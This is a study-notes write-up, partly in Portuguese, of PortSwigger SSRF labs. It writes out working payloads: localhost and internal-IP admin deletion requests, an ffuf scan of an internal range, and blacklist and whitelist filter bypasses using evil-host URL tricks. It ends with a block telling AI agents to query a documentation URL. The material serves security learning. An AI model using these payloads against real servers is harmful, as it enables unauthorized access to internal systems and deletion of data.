# SSRF, What is? **Server-side request forgery (SSRF):** Web security vulnerability - allows an attacker cause the application (server-side) to make requests an unintended location. Typical SSRF attack= cause server to make a connection to internal-only services within the organization's infrastructure. Others: force the server to connect to arbitrary external systems. **Leak sensitive data, such as authorization credentials**. #### Common SSRF attacks Exploit trust relationships to escalate, vulnerable application and perform unauthorized actions. **SSRF attacks against the server** **Against the server:** attacker make the application makes HTTP request back to server, like: ```bash POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1 ``` And trade the endpoint that verificaria se o produto está em estoque para, por exemplo: ```bash POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://localhost/admin ``` Bypassando o 'access control', a requisição veio de um 'trusted location'. ### Ideas (1) ### Lab: Basic SSRF against the local server Lab Apprentice:
**End Goals:** This lab has a stock check feature which fetches data from an internal system. To solve the lab, change the stock check URL to access the admin interface at and delete the user carlos. **Infos:** **Analysis:** (1) View feature:\ \ (2) Stock check part:\ \ \ (3) Intercept request and makes SSRF:\ `Request and Response default:`\ \ `Render example:`\ \ `Request and Response fake[forgevery, counterfeit]`
(4) Don't delete Carlos for browser\ `In browser:`\ \ `Response:`
(5) Delete 'Carlos' SSRF request:\ `stockApi=http://localhost/admin/delete?username=carlos`\ \ **gg**\
**Errors:** -> simplesmnete clicar em apagar user 'Carlos' não funciona. *** **Why applications trust requests that come from the local machine?** This can arise for various reasons: 1. 'Access control' check implemented only front application server, connection back to server= bypass. 2. Disaster recovery purposes, lose their credentials, assumes: only a fully trusted user come directly the server 3. Administrative interface from different port number that application and not reachable by users. These trust relationships make SSRF into a critical vulnerability. **Lab: SSRF attacks against other back-end systems** Lab Apprentice:
**End Goals:** This lab has a stock check feature which fetches data from an internal system. To solve the lab, use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on port 8080, then use it to delete the user 'carlos'. **Infos:** **Analysis:** (1) View feature:
(2) View parameter:\ `parameter: http://192.168.0.1:8080/product/stock/check?productId=2&storeId=1`\
(3) admin's service = another application \[another back-end system]:\ \ `"Missing parameter" = miss ip 192.168.0.1 for 192.168.0.136`
(4) ffuf discovery:\ `ffuf -u https://0a3400f604c7904984eff4d900ba0062.web-security-academy.net/product/stock -d "stockApi=http://192.168.0.FUZZ:8080/admin" -w ./Wordlist_1-255.txt -c`\
(5) Request delete 'Carlos':\ `stockApi=http://192.168.0.1:8080/admin/delete?username=carlos`\ \ **gg**\
### Circumventing common SSRF defenses #### Lab: SSRF with blacklist-based input filters Applications block input hostnames like: `127.0.0.1` and `localhost`, or sensitive URLs like `'admin'`. ``` Bypass: ``` * Alternative IP, `127.0.0.1` such as `2130706433`, `017700000001` or `127.1`. * Register domain name to `127.0.0.1`, can use `spoofed.burpcollaborator.net` * Obfuscate strings \[URL encoding] or case variation * Give URL that's control and try different protocols, switching 'http' for 'https' #### SSRF with whitelist-based input filters Applications only allow inputs that match, *whitelist*. filter look for a match, so bypass exploiting inconsistencies in URL parsing. URL specification contains a number of features that are likely to be overlooked when URLs implement ad-hoc parsing and validation using this method: Bypass: * Can embed credentials in URL before hostname using `'@'` character: `https://expected-host:fakepassword@evil-host` * Can use `'#'` character to indicate a URL fragment: `https://evil-host#expected-host` * `https://expected-host.evil-host` And, can use combinations of these techniques together. ### Lab: SSRF with whitelist-based input filter **End Goals:** This lab has a stock check feature which fetches data from an internal system. To solve the lab, change the stock check URL to access the admin interface at and delete the user carlos. The developer has deployed an anti-SSRF defense you will need to bypass. **Infos:** **Analysis:** (1) View Feature:\ \ whitelist: `"External stock check host must be stock.weliketoshop.net"` (2) Try bypass:\ \ '@' (3) Bypass: '#' + '@' OK `stockApi=http://localhost%25%32%33@stock.weliketoshop.net/admin/` (4) Request delete 'Carlos': `http://localhost%25%32%33@stock.weliketoshop.net/admin/delete?username=carlos` **gg**\ **Errors:** ### Bypassing SSRF filters via open redirection Occur if you can cause an application --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://public-8.gitbook.io/rapha/ctfs/portswigger/vulnerabilities/ssrf-what-is.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.